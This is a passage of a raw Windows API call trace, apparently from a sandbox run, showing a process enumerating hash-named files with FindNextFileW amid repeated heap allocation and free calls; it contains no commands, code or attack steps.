lpMem=0x665340 | out: hHeap=0x570000) returned 1 [0250.901] GetLastError () returned 0x12 [0250.901] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7da0 | out: hHeap=0x570000) returned 1 [0250.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34387e8 [0250.902] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42fefdeb, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x42fefdeb, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x42fefdeb, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xb6b4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="32AFE38EED991EA004851E7C968397C7D9EA501C", cAlternateFileName="32AFE3~1")) returned 1 [0250.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654fd0 | out: hHeap=0x570000) returned 1 [0250.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0250.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0250.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0250.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0250.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0250.902] GetLastError () returned 0x12 [0250.902] GetLastError () returned 0x12 [0250.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0250.902] GetLastError () returned 0x12 [0250.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0250.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x34388f0 [0250.902] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bb580e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0x43bb580e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x43bb580e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1ad0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="32B6927A1EB46E83B230070265358A1C5B788D11", cAlternateFileName="32B692~1")) returned 1 [0250.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655910 | out: hHeap=0x570000) returned 1 [0250.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0250.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0250.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0250.902] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0250.902] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0250.902] GetLastError () returned 0x12 [0250.902] GetLastError () returned 0x12 [0250.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0250.903] GetLastError () returned 0x12 [0250.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0250.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438d10 [0250.903] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef7bf2c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xef7bf2c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x45166c41, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x911d, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="339A4E96E26DFFA4704F0AF081D2B85B12D03939", cAlternateFileName="339A4E~1")) returned 1 [0250.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x656250 | out: hHeap=0x570000) returned 1 [0250.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0250.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b238 [0250.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0250.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664850 [0250.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b238 | out: hHeap=0x570000) returned 1 [0250.903] GetLastError () returned 0x12 [0250.903] GetLastError () returned 0x12 [0250.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664850 | out: hHeap=0x570000) returned 1 [0250.903] GetLastError () returned 0x12 [0250.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7da0 | out: hHeap=0x570000) returned 1 [0250.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3438b00 [0250.903] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd56503b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd56503b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd56503b, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xdff, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="33A34037B96BD19CC90C0A382CEDF384EE052FCC", cAlternateFileName="33A340~1")) returned 1 [0250.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6556c0 | out: hHeap=0x570000) returned 1 [0250.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0250.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0250.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0250.903] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664b70 [0250.903] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0250.903] GetLastError () returned 0x12 [0250.904] GetLastError () returned 0x12 [0250.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664b70 | out: hHeap=0x570000) returned 1 [0250.904] GetLastError () returned 0x12 [0250.904] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d38 | out: hHeap=0x570000) returned 1 [0250.904] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437030 [0250.904] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a57cd, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc48a57cd, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc493dfe5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xc42, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="34647CED6D78CD19DDE8B8B095D71A8525D25F62", cAlternateFileName="34647C~1")) returned 1 [0251.015] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654a08 | out: hHeap=0x570000) returned 1 [0251.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0251.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0251.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0251.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0251.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0251.016] GetLastError () returned 0x12 [0251.016] GetLastError () returned 0x12 [0251.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0251.016] GetLastError () returned 0x12 [0251.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f40 | out: hHeap=0x570000) returned 1 [0251.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437138 [0251.016] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc30818ec, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc30818ec, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcb02c6f6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x2cf4, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3502F57243FBD8F9D25E093A72D603074783A304", cAlternateFileName="3502F5~1")) returned 1 [0251.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655a38 | out: hHeap=0x570000) returned 1 [0251.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0251.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0251.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0251.016] GetLastError () returned 0x12 [0251.016] GetLastError () returned 0x12 [0251.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0251.016] GetLastError () returned 0x12 [0251.016] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0251.016] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437240 [0251.016] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc69a5eeb, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc69a5eeb, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc69a5eeb, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x64, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="356FCE9F932692DC643481DBA1ABEA937B629F58", cAlternateFileName="356FCE~1")) returned 1 [0251.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0251.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0251.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0251.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0251.017] GetLastError () returned 0x12 [0251.017] GetLastError () returned 0x12 [0251.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0251.017] GetLastError () returned 0x12 [0251.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e08 | out: hHeap=0x570000) returned 1 [0251.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437348 [0251.017] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd518a8e, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="37D63D8E3209E1320DA8FE39BB8886154CC74653", cAlternateFileName="37D63D~1")) returned 1 [0251.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655db0 | out: hHeap=0x570000) returned 1 [0251.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0251.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0251.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0251.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0251.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0251.017] GetLastError () returned 0x12 [0251.017] GetLastError () returned 0x12 [0251.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0251.017] GetLastError () returned 0x12 [0251.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e08 | out: hHeap=0x570000) returned 1 [0251.017] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437660 [0251.017] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3c21097, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc3c21097, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcadc5135, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x4fcf, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="39CC8AA9054EC6244CA281EEA4BD937517E2861D", cAlternateFileName="39CC8A~1")) returned 1 [0251.017] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0251.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0251.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0251.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0251.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0251.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0251.018] GetLastError () returned 0x12 [0251.018] GetLastError () returned 0x12 [0251.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0251.018] GetLastError () returned 0x12 [0251.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ed8 | out: hHeap=0x570000) returned 1 [0251.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3437870 [0251.018] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xefd, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3A0ECB43758CBB8B533A8A2C1A14DAD94AF73D59", cAlternateFileName="3A0ECB~1")) returned 1 [0251.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0251.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b4e0 [0251.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664b70 [0251.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0251.018] GetLastError () returned 0x12 [0251.018] GetLastError () returned 0x12 [0251.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664b70 | out: hHeap=0x570000) returned 1 [0251.018] GetLastError () returned 0x12 [0251.018] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0251.018] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439668 [0251.018] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1139, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3A24CBE07E70F6A875538D4584254A734BA5E7FE", cAlternateFileName="3A24CB~1")) returned 1 [0251.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0251.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0251.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664850 [0251.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0251.019] GetLastError () returned 0x12 [0251.019] GetLastError () returned 0x12 [0251.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664850 | out: hHeap=0x570000) returned 1 [0251.019] GetLastError () returned 0x12 [0251.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f40 | out: hHeap=0x570000) returned 1 [0251.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343a6e8 [0251.019] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd8860b6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd8860b6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd8860b6, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1898, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3A4E2A71FA2039E9791193EE5E177FC69FFD31AD", cAlternateFileName="3A4E2A~1")) returned 1 [0251.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0251.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b568 [0251.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0251.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b568 | out: hHeap=0x570000) returned 1 [0251.019] GetLastError () returned 0x12 [0251.019] GetLastError () returned 0x12 [0251.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0251.019] GetLastError () returned 0x12 [0251.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f40 | out: hHeap=0x570000) returned 1 [0251.019] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439fb0 [0251.019] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc61e643d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xc61e643d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xc6959a3a, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x128b, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3AE6C68D35ADDCA7C407967B028013E0D14C1CAA", cAlternateFileName="3AE6C6~1")) returned 1 [0251.019] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655c88 | out: hHeap=0x570000) returned 1 [0251.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0251.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af90 [0251.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0251.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664850 [0251.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af90 | out: hHeap=0x570000) returned 1 [0251.020] GetLastError () returned 0x12 [0251.020] GetLastError () returned 0x12 [0251.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664850 | out: hHeap=0x570000) returned 1 [0251.020] GetLastError () returned 0x12 [0251.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e70 | out: hHeap=0x570000) returned 1 [0251.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439350 [0251.020] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4806032, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4806032, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4806032, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x15e1, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3BEE3D0AFFDC410177D8F779928D53F5B4B92118", cAlternateFileName="3BEE3D~1")) returned 1 [0251.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655910 | out: hHeap=0x570000) returned 1 [0251.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0251.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8af08 [0251.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0251.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0251.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8af08 | out: hHeap=0x570000) returned 1 [0251.020] GetLastError () returned 0x12 [0251.020] GetLastError () returned 0x12 [0251.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0251.020] GetLastError () returned 0x12 [0251.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7cd0 | out: hHeap=0x570000) returned 1 [0251.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x343a1c0 [0251.020] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6919750, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x6919750, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x692472e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xdfb, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3CA20DEB68AB8E1E6A7DA60D8461E855B8232D83", cAlternateFileName="3CA20D~1")) returned 1 [0251.020] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655910 | out: hHeap=0x570000) returned 1 [0251.020] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0251.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0251.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0251.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664210 [0251.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0251.021] GetLastError () returned 0x12 [0251.021] GetLastError () returned 0x12 [0251.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664210 | out: hHeap=0x570000) returned 1 [0251.021] GetLastError () returned 0x12 [0251.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ed8 | out: hHeap=0x570000) returned 1 [0251.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x3439560 [0251.021] FindNextFileW (in: hFindFile=0x2f374a8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd4f2826, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd4f2826, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcd4f2826, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x1167, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="3DCFED4321069AB90BA910DD348E0CD9794C6635", cAlternateFileName="3DCFED~1")) returned 1 [0251.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0251.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0251.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0251.021] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0251.021] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, 